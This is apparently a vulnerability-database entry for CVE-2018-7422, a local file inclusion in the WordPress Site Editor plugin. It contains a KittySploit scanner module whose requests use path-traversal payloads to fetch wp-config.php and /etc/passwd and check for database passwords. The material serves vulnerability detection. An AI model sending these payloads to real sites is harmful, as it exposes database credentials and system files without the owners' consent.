WordPress Site Editor <=1.1.1 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| WordPress Site Editor 1.1.1 Local File Inclusion Vulnerability | 20 Mar 201800:00 | – | zdt | |
| Wordpress Site Editor 1.1.1 Plugin - Local File Inclusion Vulnerability | 23 Mar 201800:00 | – | zdt | |
| CVE-2018-7422 | 23 Mar 201800:00 | – | circl | |
| WordPress Plugin Site Editor Local File Inclusion Vulnerability | 20 Mar 201800:00 | – | cnvd | |
| WordPress Site Editor Plugin Local File Inclusion (CVE-2018-7422) | 12 Jul 202000:00 | – | checkpoint_advisories | |
| CVE-2018-7422 | 19 Mar 201814:00 | – | cve | |
| CVE-2018-7422 | 19 Mar 201814:00 | – | cvelist | |
| WordPress Site Editor LFI | 20 Feb 202100:00 | – | dsquare | |
| WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | 23 Mar 201800:00 | – | exploitdb | |
| Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion | 23 Mar 201800:00 | – | exploitpack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Site Editor through 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Site Editor <=1.1.1 - Local File Inclusion Detection',
'description': 'WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'wordpress', 'wp-plugin', 'lfi', 'edb', 'seclists', 'siteeditor', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/44340',
'http://seclists.org/fulldisclosure/2018/Mar/40',
'https://wpvulndb.com/vulnerabilities/9044',
'https://nvd.nist.gov/vuln/detail/CVE-2018-7422',
'https://github.com/El-Palomo/SYMFONOS',
],
'cve': 'CVE-2018-7422',
}
def run(self):
for path in ('/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php', '/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_all = ('DB_NAME', 'DB_PASSWORD',)
body_regexes = ('root:.*:0:0:',)
if (all(m in body for m in body_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="WordPress Site Editor <=1.1.1 - Local File Inclusion detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.7High risk
Vulners AI Score7.7
CVSS 25
CVSS 37.5
EPSS0.6225